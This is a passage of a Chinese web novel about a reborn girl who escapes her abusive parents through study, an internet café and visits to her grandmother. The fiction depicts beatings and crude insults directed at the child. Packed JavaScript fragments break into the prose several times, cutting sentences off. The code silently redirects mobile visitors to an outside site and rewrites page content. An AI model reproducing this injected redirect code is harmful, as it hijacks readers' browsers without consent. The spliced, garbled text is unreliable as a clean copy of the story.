l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332505|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校里找一个足够漂亮、出名的家伙,然后把自己的情愫按到他头上。裴载之既是有幸,也是不幸,成为了众多女孩的这个暗恋对象。 裴春之确实从不提起他们的兄妹关系,但他们一模一样格式的名字无法掩盖,同学们还是知道了个七七八八。 于是每当裴载之上场打校篮球比赛的时候,裴春之就被许多人喊着:“裴春之——你哥哥上场了——” 她一开始不想看,后来被人按着脑袋看,再后来她也确实看了。 裴载之跳得高高的,聚精会神、全神贯注地跳起来,像一只飞起来的鸟,头发猛地荡开来,露出晶亮的眼睛和清秀的眉眼,带起一大片学生的尖叫。 “裴春之——”同学抓住她的手臂,她从来没有这么受欢迎过,然后许多人旁敲侧击地过来问她:你哥哥有女朋友吗? 不知道。 裴春之诚恳地说。 事情已经过去很久,她甚至已经遇到了重生这样离奇的事情,但是隔了这么久回想起来,裴春之还是能想起她那时的心理活动: ——如果那个万众瞩目的人是我就好了。 她上辈子几乎没有任何娱乐活动。她不打游戏,不玩手机,没有任何才艺,也不运动,她一直伏案学习,全世界唯一承载着她荣耀的地方就是年级排名的表彰墙,那里所有的第一名全部都被“裴春之”三个字占领。 她上辈子最初见到裴载之时,确确实实是把他当成值得尊敬的哥哥来对待的。她觉得他受欢迎,他朋友多,一呼百应,他虽然对她淡淡的,但是也没有厌恶她的表现……她一开始,是真的仰慕地看待这个“城里长大的哥哥”的。 初二快结束的那个夏天,她爬上了哥哥禁止她走上来的三楼,气喘吁吁,满怀胆怯,然后惴惴不安地走到裴载之的那个班级,像蚊子一样低声问:“请问裴载之在吗?” 看见她上来的学长露出看热闹的惊喜的表情,然后冲到班级里,大喊着裴载之。 裴载之出来了,他一看到她的脸,就露出了从未如此露骨的、嫌恶嫌憎的表情。 “你上来找我干嘛?!我不是说了让你别来找我吗?” “我……我……” 她还没来及把心里乱成一团的不安组织清楚,结巴了半天,什么也没说出口。 周围到处都是起哄声,依稀听见有公鸭嗓的男生在喊:“校草裴载之的妹妹居然是坦克裴春之?” 裴载之忍无可忍地推了她一把,他似乎只是一时气急,但推出手后,他们已经再也没有回旋的余地——裴春之瞪大眼睛,一脚踩空,从三楼的楼梯滚了下去。 她骨折了——她在床上躺了几个月——她没有机会练习八百米了,于是最后她的体育中考还是差了五分满分。 她也没机会再问出口: “哥哥,爸爸妈妈是要离婚了吗?” 那年暑假,她本来打算学习打篮球。 8. 减肥成功的高考状元8 还未到家时,兄妹俩就已经望见了陆林花影影绰绰的身形。 天色已经透黑,小镇的灯火全仗街边路灯与窗户里昏黄的灯,陆林花的脸背着光,露出一双狰狞的眼神。裴春之越走越慢,故意落在裴载之后面,她的傻哥哥却毫无察觉,仍在心里翻来覆去地想妹妹路上说的话。 他算是撞到枪口上去了。 裴春之猜得不错,陆林花确实早就打算今天晚上好好收拾一顿这个还有些陌生的女儿——但当时间一点点过去,他们两个小孩迟迟不见踪影的时候,陆林花很快就把对裴春之针对性的恼怒忘却了,现在,她对他们兄妹俩都饱含愤怒。 “玩!就知道玩!” 裴载之手里还抱着篮球,没反应过来,当即被陆林花一个擀面杖砸到了手臂,他痛得大呼起来,往后一跳,裴春之见机不对,悄悄佝偻着身形,往黑漆麻乌的草丛里一钻。 陆林花狠狠地用擀面杖锤了几下裴载之的背,上面沾着的面粉大起大落,裴载之痛呼两声,这才发现裴春之不知道跑到哪里去了。 “妈!”他惨叫起来,“为什么不打我妹妹?!” 裴春之听见了,她跑得更快了——废话!你才活了十二年,我活了十八年了!逃跑经验肯定比你丰富啊!而且……今天辛辛苦苦等你打篮球,本来就是为了让你当肉盾的! 陆林花也恍然大悟,然而,等她想找这个溜得比老鼠还快的女儿时,惊愕地发现裴春之根本没有往家里跑。 “她人呢?”陆林花把擀面杖往地上一扔,拎着裴载之的衣领往家里的墙角一放,“我去找她去,你给我在这儿跪着——不到我回来不许起来!” “妈!”裴载之急了,他脑子一转,立即开始泼脏水:“不是我!是裴春之迷路了,我为了找她才这么晚回来的……你看她,又乱跑!” 兄妹情谊了却于无,他卖裴春之卖得毫无心理负担,甚至还有点窃喜,深感自己终于报了早上被打脸之仇。 陆林花来不及和儿子说话,已经走出家门十来米远了,裴载之把脑袋伸出门去,满意地听见母亲愤怒的一句: “我看她就是被我妈养废了——欠揍了!” 裴春之必须跟着裴载之回家露个面,不然她怕父母以为她出了什么事——虽然他们也不一定会找她就是了。 但露过面后,往哪跑不还是她的本事吗? 裴春之熟练极了,她从如蚁穴般排列整齐的老式居民楼穿过,往乡下田野的方向走去,这个时候,正是桂花盛开的日子,一路都是扑鼻的桂花香。 新安镇很小,傍着一座小山,孩子们一般不敢往山上跑,因为父母从小就和他们说山上的种种传说,编造一些狼外婆之类的谎话来哄骗他们。不过,裴春之并不相信灵异与鬼神,她毫不介意地走到山上鬼气最阴森的一座破庙里,用树枝扫出一块地来,然后从边上抓了一块儿破布垫在屁股底下,从包里抽出手电筒,就地看起了…… ——大学物理。 很科学,很自由。德先生与赛先生保佑,她忘乎所以地看了两个小时,中间遇到一些题目,还抽出纸张来演算。 顺便一提,她的作业在放学前就写完了。 不知什么时候,这个号称“最强续航”的手电筒也罢工的时候,裴春之才愣了一下,从山上跋山涉水地往新安镇子上走。她没吃晚饭,但饥饿程度尚能忍受,她翻了翻身上口袋,发现自己一分钱也没有。 陆林花和裴永明完全没想到要给她点钱,不过据她所知,裴载之一直是有零花钱的,他还一直有闲钱给游戏买皮肤和买小卖部里的卡片呢! 裴春之发愁了一会儿,跑到镇子上的二手书店,把《大学物理》和《约翰·克里斯朵夫》放到了老板面前。 “能卖吗?” 老板瞪了她一眼,把书收过来看看,奇怪道:“……这两本不是你今天早上刚来换的吗?用的好像是你们学校的教科书?” “对。”裴春之说,“是我。” “又不想要了?”老板笑出了声,他拉开烂得差不多了的木质抽屉,数出几个钢镚塞到裴春之手上,揶揄地说:“小孩,物理和文学可不好玩!” 其实她是看完了。裴春之默默地想,这本《约翰·克里斯朵夫》是巨量删减的儿童阅读版,她两节奥数课就看完了,不过,她也不会去反驳这个大叔的玩笑,只是默默地把钱数了一遍。 六块钱,大概能去网吧上四个小时的网,新安镇上的网吧算贵的,更偏一点的小镇子只要一块钱一小时。 高二,外婆病重到去世的那几个月,她没有上学,在新安全天照顾外婆。焦虑的时候,就去网吧看会儿网课。 她还记得自己高二喜欢听的几个阿婆主讲数学,讲物理。有时候她图放松,也听一些历史相关的视频,只是她穿越回2016年,这些视频都不一定还在了。 她跑去网吧,个子连前台都不到,说自己已经成年实在是个太拙劣的笑话,于是裴春之一言不发,把六个钢镚在台子上摆开,然后和抽着烟的大妈默默对视。 大妈看了她两分钟,最后腾出一只没沾着酱油的手,把硬币收了,给她递了个牌。裴春之小声说了声谢谢,发现大妈给她的是最角落的机子。 “机灵点啊!” 大妈冲她喊道。 意思是遇到警察查人和老师搜人的时候跑快点。 裴春之会心一笑,按了开机键,这个年代的电脑普遍要开几分钟,网吧里的电脑能三十秒开机已经算快的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332506|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她等了一会儿,熟悉的绿色山坡壁纸出现,满屏都是五颜六色的游戏软件,她扫了一眼,试图辨认出裴载之每天沉迷的那款究竟是哪个,最后还是败北而归。 裴春之轻快地忽视掉了满屏的游戏软件和右下角不断跳出的黄色小广告,在空白处右键,点击:“新建文档。” 她记得她书包里本来就有一个u盘,是外婆给她用来存身份信息的,如今正好用上。 她捧着脑袋想了一会儿,最后在文档下方,慢慢地打上了几个字: “《有关死亡的感受》。” 裴春之的语文其实很不错,她的字好看,作文拿分高,前面的题目也能凭借多年的做题经验拿到不低的分数,高考前的几次模考,她的语文都到达了一百二十几分。 高考,她超常发挥,其中最超乎寻常的一门,就是语文。 讲得再详细一点,是作文。 她在考场上看到题目的那一刻就愣住了,湿热夏日的空气里,她找回自己的呼吸,沉沉地想起外婆,想起新安镇的医院里听见过的哭声,还有自己差点放弃的东西。 高考作文题目是罕见的命题作文,江海省出人意料地放弃了往年创新十足的作文题目,选择了传统的命题格式。 标题是:“有关死亡的感受”。 她打赌她的那篇作文一定拿了前所未有的高分,因为她最后语文达到了史无前例的138分。 裴春之在网吧噼里啪啦地写了两个小时小说,快十点了,那个大妈看她的眼神愈发犀利,裴春之怀疑她觉得自己是离家出走的小孩。再不回去,她怕被赶出来,连忙用最后几分钟去网上找了点高中数理化的卷子下来下来,打算明天打印出来复健一下。 她背上包,准备离开时,大妈忽然喊住了她。 “裴永明是你什么人?” 裴春之愣了一下,说:“他是我爸。” 大妈把烟灰抖了抖,露出半颗牙,裴春之以为她要说些什么,结果大妈又沉默不语一阵,提起一个毫不相干的话题: “你是在写作业?” “嗯。”裴春之没有否认。 “你和你父亲不太像。”她最后说,带着她走出去,网吧里面灯火通明,还有不少人敲着键盘,裴春之背着书包走出去,察觉这个大妈的语气古怪,似乎不像喜欢裴永明——也不像讨厌他。 “走吧,回家吧。” 大妈拍了拍她的后背,裴春之往前踉跄了一下,转过头看她,网吧的门头写着:“芳霞网吧”,裴春之猜测,那是大妈的名字。 她忽然感受到什么,后知后觉地摸了摸外套的兜,发现里面有六枚硬币。她反应过来,寻找大妈的身影,却发现她已经消失在了层层叠叠的居民楼里。 9. 减肥成功的高考状元9 裴春之被接到新安镇是十月初,时间过得很快,她在新安的第一个月无波无澜地度过了。 ——当然,只是她自己认为的无波无澜。 首先,她已经形成了习惯,对于裴永明和陆林花给她提供的这个家,态度极其鲜明:这个家对她的意义就是一张床。她从不在家里吃饭,早中晚饭都看不到她的影子。她的衣服塞在客厅角落的行李箱里,唯一能让裴家父母感到这个女儿存在感的,还是她第一天来家里后据理力争夺得的板凳。 谁能想到那是裴春之吃的唯一一顿晚饭? 陆林花熬不过她——她不是没想过要等裴春之回家后好好教训她一顿,但开饭店本来就累,陆林花几次想蹲守她,都自己在床上睡了过去。时间长了,她也有点不好意思管了,这何尝不是一种省心呢!裴春之在家里就占一张床,比宠物还好养! 裴载之则渐渐习惯了妹妹每天在初中校门口等他一起回家,她安安静静地,就是想让他教她打篮球。一个月,裴载之见猎心喜,忍不住把折返、胯下运球、跳投之类的基本功全教了个遍。裴春之非常聪明,每天半个小时,她就能做到七七八八,也许效果还不算完美,但是动作一定规范到无可挑剔。 裴载之还是不大喜欢这个妹妹,因为他已经过了十几年独生子的好日子。不过,目前看来,家里有她没她似乎都一样,那么他也不吝啬略微表达一些善意。裴春之对他也客气多了,他不说那些侮辱性的外号后,裴春之也没有打过他。两个人相安无事,相处模式有点像那种半熟不熟的小组成员。 裴春之的日常安排得满满当当,她早上五点出头就起床,顺着街边逛一圈,捡点塑料瓶之类的垃圾拿去换钱,顺便也算是锻炼身体。估算着快到七点,就走去学校上早读。当然,她是一节课都不会听的,每天的七节课被她全部当成了自习课,两节用来温习高中数理化,两节阅读课外书,两节学习大学数学和大学物理。还有一节她用来提前把作业写完。 宋晓龙还是她的同桌,但宋晓龙已经渐渐发现这个同桌的不同寻常了,裴春之有点搞不懂这个小学生的脑回路,因为宋晓龙总是用他那张胖乎乎有婴儿肥的脸,谄媚地喊她裴姐。 十月底的时候,裴春之终于搞明白了宋晓龙的目的所在——他想让她帮他写作业。 裴春之欣然同意,之后她早上的捡废品日程取消,赚钱的途径转而变成了靠给小学生写作业。别说,这项生意颇为兴隆,不久后,另一个叫李乔的男生扭扭捏捏地找到她,细如蚊蝇地问她能不能帮他写奥数作业。宋晓龙上蹿下跳,哭天喊地,极不情愿让裴春之帮这家伙写作业。裴春之莫名其妙,当天体育课上,有女生小声告诉她:李乔和宋小胖是班上知名关系户,预科班的倒数第一和倒数第二,另外,他们俩还有仇。 裴春之不在意这些,她点了点头,认为赚钱是天赚钱是地,毫不犹豫地把李乔也扩展为了自己的新客户。宋晓龙气了个半死,三天没搭理裴春之——三天后,他绝望地发现裴春之根本没发现他的故作姿态,再加上奥数课越来越难,他咬牙向裴春之再次发出了订单。 顺便一提,裴春之在班级里的待遇也好了很多,第一节体育课集体对她沉默的女生们如今也都对她笑吟吟的了,虽然裴春之有些摸不清究竟是什么打动了她们。如果她能知道真相的话也许会哭笑不得——改变她前世今生人缘的不是别的,恰恰就是她自己的态度。 上辈子她被孤立,又性格内向,力所能及地去尝试交朋友也只是次次碰壁。已经形成小团体的同学们发现她讨好式的态度,自然会更加矜傲,更有甚者,以取笑她殷切的姿态为乐;这辈子则不一样,十八岁的灵魂早就不把小学生的聊天话题当回事了,她根本不想和任何人产生交集,反过来导致同学们渐渐有些好奇、惶恐,因为她的神秘和强大,颠倒过来意识到她自有一种超然的地位。 这种微妙的人际变化往往难以察觉,裴春之连半点心思都没放在这上面过。 逐渐地,她在班级里甚至偶尔能收到一些女生的关心,让裴春之简直受宠若惊外加莫名其妙。快到十一月的时候,随着宋晓龙和李乔都把数学作业托付给她,越来越多的人确认了裴春之的数学天赋,不少女生甚至会绕着她的桌子问题目——完全和刚开学时是两幅情景。 应对孤立的最好办法是孤立他们,这句话说起来简单,实际上需要极其强悍的心理素质:你得真的毫不在意他们才行。还好,裴春之和他们隔着快十年的年龄差,做到这一点并不难。 让陆林花一直愤恨的、好奇的问题——裴春之每天晚上到底去了哪里? 答案是:芳霞网吧。 那个好心的大妈后来告诉裴春之可以喊她霞姐,她叫张芳霞,和裴永明是老同学。新安这种小镇子,全镇人都差不多认识。裴春之后来才知道,她第一天来这里后霞姐就联系了裴永明,告诉他裴春之在她这里。也是因为裴永明的默许,她才能在这里每天待到十点多。 她一开始靠捡废品,后来靠给宋晓龙等人写作业,总之每天能挣到个十来块钱,几乎一半上交给了霞姐换取网吧上网的时间,还有一半去二手书店买书。有些书她在书店买不到,就在网吧找文档然后去打印出来,上课时慢吞吞地看。上网的时间很充裕,她一点点把《有关死亡的感受》写完了。 这是一篇第一人称的小说,她忠实地描写了自己和外婆的故事,地点选在了医院。写完的那天,她把小说完整地读了一遍,真心实意地觉得这是自己死后、重生后,所有为数不多的感情的倾注。 她攒了一笔小钱,其中几十块甚至是裴载之的资助。他被裴春之威胁了一番,因为害怕被揍,忍气吞声地给了她。 于是,十一月的第一个周末,裴春之揣着这笔钱踏上了回村的路。 她去见外婆了。 陆林花发现裴春之疑似没有回家睡觉的时候终于爆发了。 她先把裴永明给狗血淋头地骂了一顿,裴永明忍了一会儿,发现忍不下去,夫妻俩在家里打了起来。陆林花发起泼来,从厨房提了菜刀冲出来,裴永明身上还穿着后厨的围裙,不甘示弱地去拎了铁锅。裴载之被吓得哇哇大哭,他还只有十二岁,既想帮妈妈,又想帮爸爸,最后崩溃地跑到楼下,被邻居磕着瓜子问家里是不是又打起来了。 他难堪极了。 这时裴载之恨极了裴春之。一切都是这个妹妹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332507|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错——她不懂事,反叛,从来不回家,父母因为她吵架,大打出手。楼上的争吵就像漏了的水管一样,从顶楼一路滴滴答答落到楼下,看热闹的大爷大妈们聚在一块,喜笑颜开地谈论起他的父母。裴载之更加难堪,被迫听着他们口中口水横飞的“老裴”、“小陆”“载之那可怜孩子”等话语。他们说得好听,但裴载之清楚,他们其实一点也不可怜他,只是表示性地表达一丝人文关怀。 恶心极了。 裴春之留在家里的纸条很快被发现了,陆林花和裴永明短暂休战,两个人一起看纸条。裴春之在纸条上只写了一句话:“爸,妈,我回去看看外婆,周日晚上回来。” “这个贱丫头心野了——她心里还有没有我们这个爸妈!” “她哪来的钱?”陆林花陡然警觉起来,“我可一分钱没给过她!” 裴永明也骇然起来,他立刻从楼下抓来了还在哭哭啼啼的裴载之,极其严肃地逼问他:“你有没有给你妹妹钱?” 裴载之一哽,他抹着满脸鼻涕眼泪,大脑飞快地转了起来:这是在兴师问罪?他们是希望他给还是不给?说什么样的答案不会挨打? 裴载之很快做出了判断,他逼真地喊:“没有!” 陆林花一看就是要给裴春之的出逃找个背锅侠了,他借钱给裴春之的事情要是被知道……远在乡下的裴春之说不定过两天才会挨打,但近在眼前地裴载之势必会被打得下不了床。裴载之相当果断地说了谎。 陆林花信了,她一向很容易相信自己这个一手带大的儿子,在她心里,裴载之还是那个三四岁天真无邪一片赤诚的小男孩。她把裴载之扔到一边,冷峻地拉住裴永明,宣布道:“这个贱人是不是谈恋爱了?” “你疯了?” 裴永明诧异地看着自己的妻子,但对着陆林花那双确信的眼睛,他逐渐也咂摸出味来:一个女孩,每天早出晚归,对父母哥哥都漫不经心……那她的情感寄托一定另有其人! 如果裴春之能听到他们离奇的猜测,一定会无语地举起手里那本破破烂烂的二手书:大学物理。 裴永明和陆林花商量一阵,越来越觉得这可能就是真相。他们是知道村里镇里那些老光棍的饥渴程度的,裴春之这种长相不大好看的小女孩,已经有了起伏的身材,被老男人看上并非不可能。再者,裴永明早就知道裴春之常去芳霞网吧,她哪里来的钱上网? 陆林花于是愈发确定起来。说来也奇怪,她往日总是懒得管这个女儿死活,等到了她疑心女儿给自己丢脸的时候,反而精神百倍地研究起来。陆林花恨极了,对裴永明说:“周一,我们去她学校闹!这丫头晚上躲着我们,难不成白天在学校还能躲得过我们吗?” 裴载之正在门后偷听呢,他听到这儿,冒出一身冷汗。他也是学生,最清楚这种事情会多快地在学校里传开,严重时甚至可以毁掉一个人的所有社交关系。爸妈要是真去裴春之学校要说法,裴春之就别想好好上学了! 他小心拧开了门,心里想到妹妹每天还要跟他学打篮球呢……最后他小心翼翼地插了句嘴:“……在学校闹不太好吧?” 陆林花剜了他一眼,裴载之不敢说话了。 10. 减肥成功的高考状元10 被怀疑谈恋爱学坏了的裴春之正坐在外婆旁边的小马扎上,和外婆一起扎竹筐。 外婆没有名字——前世去为外婆销户时,裴春之才知道,外婆只有一个姓氏,在身份证上登记的名字是“李妹”。裴春之沉默着,手上熟练地把竹条盘旋着交织,发出嘎嘎吱吱的声音。外婆坐在她旁边,絮絮叨叨地反复说着:“你瘦了。” “这样比较健康。”裴春之解释道。外婆是不会搭理她的健康论的,她反而瞪着眼睛,扫了她几下,反复告诫她:“胖才是福!”裴春之闭嘴了,她知道像外婆这样从三年困难时期过来的人,无法被物质充盈的当代改变,这些事情刻骨铭心地标记着外婆对于食物的焦虑——就像前世的裴春之对成绩的焦虑一样。 “我不喜欢太胖,时代变啦,外婆。” “之之,是不是有人说你了?” 外婆担忧地望向她,手上的动作停住了。裴春之把新编好的竹筐放到旁边,神色不改地说:“没有啊,怎么会这么想?” “不然,你为什么突然想着减肥呢?” “外婆。”裴春之有些生硬地转移话题,“你要不要到城里去住?” “不要不要,我哪里住得惯!我每天都要种菜松土的,还要伺候家里这些鸡鸭猪狗猫的……城里能有地方给我养他们吗?” 可以有。裴春之在心里想到,等她挣钱了,买个很大的带花园的房子,外婆想种什么种什么——养猪可能有点困难,得考虑别墅区邻居的感受。 外婆站起身,她把今天采下的菜搬过来,就着窗边被切割为长条状的夕阳摘起菜来。裴春之编完手上的竹筐,把马扎搬到外婆身边,又殷勤地帮忙。外婆看了她一眼,说:“你在新安真的没事吗?” “没事。” “没事你回来干什么?” 在老一辈的认知里,过得好似乎就应该走得远。裴春之被噎住了,不知怎么地,想起来外婆的遗言:“我们之之,要考上好大学,要离这里远远的,要生活得很幸福。” 裴春之一时居然不知道说什么,她强行把心中复杂的酸麻按下去,佯装无事道:“真的没事……做了个噩梦,恰好周末又闲着,就回林溪来看你了。” 外婆显然还狐疑着,她灵巧着动着指甲,把好几根空心菜的叶子拆下,脆响的声音里,外婆又试探着:“你在新安开心吗?” “开心。” 裴春之露出微笑,和外婆煞有其事地描述了一番陆林花和裴永明对她的热烈欢迎:他们可喜欢她了,把裴载之的房间重新排了一遍格局,专门给她买了大小合适的床,准备了餐具和凳子,还给她零花钱,不然她回乡下坐大巴的钱从哪来的?她还转学进了预科班,年级里的好班,说不定也是裴永明托的关系…… 裴春之编得开心,外婆也听得开心,笑得露出缺了的牙,连连点头。她把空心菜摘完了,站起来扫地,院子里的猫猫狗狗追着外婆跑过来,顺便蹭上了裴春之的脚踝。又一会儿,裴春之听见金属门滋滋啦啦合上的声音,知道外婆离开了。 她放开紧张的大脑,任由自己的思绪蔓延。重生以来,她丝毫没有懈怠,小学课内的学业固然简单到有些可笑,但照理来说,也不会有谁重生后还坚持每天一套理综题目吧?只是,裴春之出于某种未知的焦虑,到现在还在刷高考题目。 她的心病没有办法告诉任何人,在新安的时候,她的神经时刻紧绷着:预防陆林花不知何时降下的打骂;和中二病时期的嘴臭哥哥斗智斗勇;另外想尽办法挣钱和弥补遗憾。裴春之反问自己:你感到快乐吗? 你开心吗? 似乎并不开心——前世十七岁,她之所以从一百大几十斤,飞一样地降到一百斤不到,是因为外婆去世后……她失去了活下去的力气。 甚至,后来她重拾勇气去好好学习,去准备高考,其实也不是她想通了,是因为外婆的遗言,她每次想到就心如绞痛。外婆希望她考到最好的大学,希望她远走高飞,那么她也忠实地期待自己完成这个梦想。 虽然她死得倒霉,但是前世她确实是高考状元……这个理想完成了。 那么重活一世,她人生的意义在哪里呢? 周末转瞬即逝,裴春之坐上了回新安的大巴。田野、烟囱、收割后的稻田从窗外略去,留下模糊的色块。冬天要来了,裴春之眯了一个多小时,在新安镇下车,然后犹豫了一会儿,先回了家。 她觉得,有些事情还是该早一点说清楚的。 拿裴载之当肉盾避免被打只是一个玩笑,裴春之心里也很清楚,在她这对父母离婚且主动放弃她之前,她不可能永远逃得过去。 门没关,只拉了防蚊的纱门。裴春之知道他们在等她,她拉开纱门,先看见了裴载之,他坐在面对门口的凳子上,听到声音迅速地看向她,手里捧着那个学习机。他的表情十分扭曲,然后他跑过来,小声对裴春之说:“你完了!” 这是关心她还是诅咒她?裴春之打量了一下裴载之的表情,他看上去不像看热闹,反而有点怜悯……哦,陆林花大概在她不在的时候,说了要对她怎么了吧? 是把她狠狠地打一顿,像上辈子一样用钉鞋用鞋拔子用水杯,打到她住院缝针上不了学,还是要骂她? 陆林花熟悉的脚步声啪挞啪挞地过来了,她走路一直有点拖地,使得她的脚步声与众不同。裴春之平静地看过去,刚要把书包放到沙发上,就忽然被扇得一个踉跄。 陆林花直接扇了她一巴掌。 裴春之张了张嘴,还没来及说话,陆林花一把抓住了她的头发,然后另一只手拿着晾衣架,狠狠地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332508|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她背上甩了十七八下。她动作极快,裴载之吓得跑到了自己房间去,裴春之被拽得龇牙咧嘴,努力伸手试图把陆林花的手给别下去。 “谈恋爱是吧?鬼混是吧?你哪来的钱?哪来的胆子跑掉?”陆林花大吼着,松开晾衣架,转而抓着她的衣领,像拎一个布娃娃一样轻松。裴春之没由来地在心里想到,常年干体力活的人力气果然惊人,她的力量训练得提上日程了。 裴春之努力把心里的委屈压下去。陆林花一张嘴她就知道她在想什么——上辈子也是这样,每一次都是这样。只要她做出了一些不常规的事情,例如晚了一些回家,或者长时间呆在卫生间……都会触动陆林花细微的神经,千回百转地绕到:“她肯定是谈恋爱了”这个结论上。 陆林花从不怀疑裴载之——也许是因为她觉得男生谈恋爱也不会被人占便宜,管她是怎么想的,但是裴春之也很费解:这个世界上最怀疑她是个贱人的,居然是她的亲生母亲。 为什么会这样? 裴春之想了想,十分简短地说:“我没有。” “你早点说实话,我还能给你点面子。”陆林花冷笑,“我妈真是把你惯的,裴春之,我忍你很久了。你每天十点多回家,在外面给人张着腿挣钱啊?” 裴春之心脏忽然一刺,不敢置信地看向陆林花。 她怎么能把话说得这么难听?她怎么能……这么说她的女儿? “你要不要脸?你不要脸,裴家还要点脸!” 裴永明不隐身了,他也站到陆林花旁边,附和着。他抽着烟,整个客厅都烟熏雾绕,烟灰弹得到处都是。裴春之发怔地看着灰白的烟灰痕迹,她有哮喘,闻不了这些味道,上辈子她委婉地劝了几次裴永明不要在她面前抽烟,至少找个窗户再抽。 裴永明从来没有做到过,他总是嗯嗯啊啊,然后一切照旧。 这辈子一定也是这样——他们根本没有任何改变——你只是在逃避——裴春之,你还要继续躲下去吗? 你早起跑步,你晚上去网吧写小说做题目,你去裴载之学校的门口等他,学打篮球……这些事情都有一个共同的、隐含的目的,那就是减少你在家的时间。 裴春之慢慢地摸上自己的脸,挨打后,那种火辣辣的感觉缓慢地回涌。 “爸,妈。”她低声道,“我没有谈恋爱。” “你骗鬼呢?” “我没有。” “站在这里,对着墙,好好反思——我不让你睡,今天就别想睡!你别以为这事结束了,钱从哪里来的?” “我自己挣的钱。” 陆林花嗤笑一声,伸脚把她踹得更加靠近墙壁,裴春之一个踉跄,跪在了墙面前。 “我怎么会生出你这样的女儿。” 最后,陆林花这样说道。 11. 减肥成功的高考状元11 这一夜,裴春之彻夜难眠。 沙发没有床垫,只有明显到像贴着后背的铁骨,她转了几次身,脸上却仿佛任何火辣辣的疼痛。陆林花没有让她起来,照理来说,她得一直跪到天亮,但懂得变通的裴春之在确认她去睡觉后立即爬起来睡觉了。 小孩子容易钻牛角,他们觉得被父母责罚就仿佛天塌了一般——这也是正常的,裴春之回想起自己小时候对陆林花、裴永明刻入骨髓的恐惧,一边觉得好笑,一边又觉得可怜。 这件事还没结束。裴春之心知肚明,明天,陆林花一定还会撒泼。 深夜两点多的时候,裴载之起来上厕所,路过了裴春之的沙发,他犹豫了一下,站在她旁边看了一会儿她的脸——她是不是瘦了? 裴载之怕吵醒她,很快回去了。刚刚假寐的裴春之睁开眼,没搞明白十二岁的裴载之脑子里在想什么。 第二天,裴春之照旧早起,走去了学校。 她到得很早,和往常一样,教室里还没什么人,她抽出前几天打印的小说,安安静静地看了大半个小时。等宋晓龙和李乔来了,两个男孩一胖一瘦,活像没头脑和不高兴一样眼巴巴地站在她桌边,等着她把写好的作业给他们。 他们交易多次,早已熟练,把零花钱压在了裴春之桌子上,裴春之点点头,把小说收回去,点了点钱。 宋晓龙没话找话:“你今天在看什么?” “金阁寺。” 裴春之亮晶晶的眼睛扫了一眼他们俩,又低下去。宋晓龙不知道说什么了,他心里煎熬,他前几天回家,破天荒地跟爸妈说他想看书,然后去书店买了《约翰·克里斯朵夫》全套精装版,他刚看了十分之一不到,结果就悲哀地发现裴春之已经换到了下一本。 “裴春之!”一个女生跑过来,她叫陈佳怡,留着蘑菇头,戴着个遮了一只眼睛的古怪眼镜,裴春之知道这是因为她有斜视,这个矫正眼镜让她吃了很大苦头,大多数时候她都是班级的边缘人物,这也许也是她对裴春之最早热情起来的原因。 她拉住裴春之,笑吟吟地说:“你周末怎么样?” “我回了乡下,看了外婆。” 裴春之温和地说,她笑了一下,和陈佳怡描绘着外婆家里的猫猫狗狗,鸡鸭鱼塘。裴春之虽然不会主动去和这些心理年龄小她七八岁的孩子社交,但如果有人释放善意,她也没有冷冰冰拒绝的道理。 陈佳怡捧着脸,撅着屁股在她桌子旁边说起她周末去兴趣班练钢琴的事情:“我一点也不想练,可是我妈妈说必须考到十级……我真的不理解。” 裴春之沉默了一下,她想到,她一直很想学这些东西,但是陆林花不会愿意在她身上花钱。 “你不喜欢弹钢琴吗?” “也不是,我很喜欢,但我不喜欢每天都要练……而且我妈妈太凶了!”陈佳怡张望了一下,仿佛是担心她妈妈会从哪里冒出来,“如果我不练,我妈就会拿这么粗,这么长的尺子打我的手心,她还说我是懒货……” 陈佳怡沮丧起来,她抠着手指,抬头看了看裴春之没什么变化的脸,叹了口气,“你肯定不懂有这种爸妈是什么感受!” 不,我懂。 裴春之这样想,她嘴角渐渐露出一个微妙的、讽刺的笑容,她甚至觉得,她把裴陆夫妇干过的事情稍稍透出百分之一出来,都会把这个孩子吓坏了。陈佳怡的斜视,她的父母愿意花大钱去医院为她矫正,愿意给她买钢琴,报兴趣班,这些足以证明陈佳怡的父母也许有些苛刻和严厉,但至少是看重她,爱她的。 裴春之只是不想说。她缓慢地说:“我听说,老师希望你在六年级毕业的典礼上弹琴?” 